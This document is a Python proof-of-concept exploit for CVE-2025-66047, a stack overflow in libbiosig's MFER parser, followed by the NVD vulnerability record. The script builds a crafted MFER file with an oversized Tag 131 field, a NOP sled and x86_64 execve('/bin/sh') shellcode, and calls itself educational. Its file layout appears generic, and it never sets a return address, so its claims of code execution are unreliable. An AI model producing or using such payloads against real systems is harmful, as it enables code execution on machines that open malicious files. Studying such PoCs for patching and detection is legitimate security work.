CVE-2025-66047

#!/usr/bin/env python3 """ CVE-2025-66047 PoC - libbiosig MFER Stack Buffer Overflow This PoC generates a malicious MFER file to trigger the stack-based buffer overflow when Tag is 131 in the MFER parsing functionality. """ import struct import sys def create_malicious_mfer(): """Generate a malicious MFER file with oversized Tag 131 data.""" # MFER file header mfer_data = b'MFER' # Magic number mfer_data += struct.pack('<I', 1) # Version mfer_data += struct.pack('<I', 256) # Block size # Craft Tag 131 with oversized data to trigger overflow # Tag 131 in MFER format typically expects small data # We overflow the stack buffer by providing large data tag_id = 131 # Create data larger than typical stack buffer (e.g., 1024 bytes) overflow_size = 1024 tag_data = b'A' * overflow_size # Tag structure: [Tag ID (2 bytes)][Length (4 bytes)][Data] mfer_data += struct.pack('<H', tag_id) # Tag ID mfer_data += struct.pack('<I', overflow_size) # Length mfer_data += tag_data # Malicious payload # Add shellcode placeholder for code execution # NOP sled + simple execve shellcode (Linux x86_64) shellcode = b'\x90' * 50 # NOP sled shellcode += b'\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' # /bin/sh shellcode # Append shellcode after overflow mfer_data += shellcode return mfer_data def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file.mfer>") print("Generates a PoC MFER file for CVE-2025-66047") sys.exit(1) output_file = sys.argv[1] mfer_content = create_malicious_mfer() with open(output_file, 'wb') as f: f.write(mfer_content) print(f"[+] Created malicious MFER file: {output_file}") print(f"[+] File size: {len(mfer_content)} bytes") print(f"[+] Overflow size: 1024 bytes at Tag 131") print("\n[!] WARNING: This PoC is for educational and security research purposes only.") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-66047", "sourceIdentifier": "[email protected]", "published": "2025-12-11T17:15:58.867", "lastModified": "2025-12-17T20:24:02.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Several stack-based buffer overflow vulnerabilities exists in the MFER parsing functionality of The Biosig Project libbiosig 3.9.1. A specially crafted MFER file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.When Tag is 131"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libbiosig_project:libbiosig:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9.2", "matchCriteriaId": "2D3CD139-6F71-4B97-95A3-A52466FF6563"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}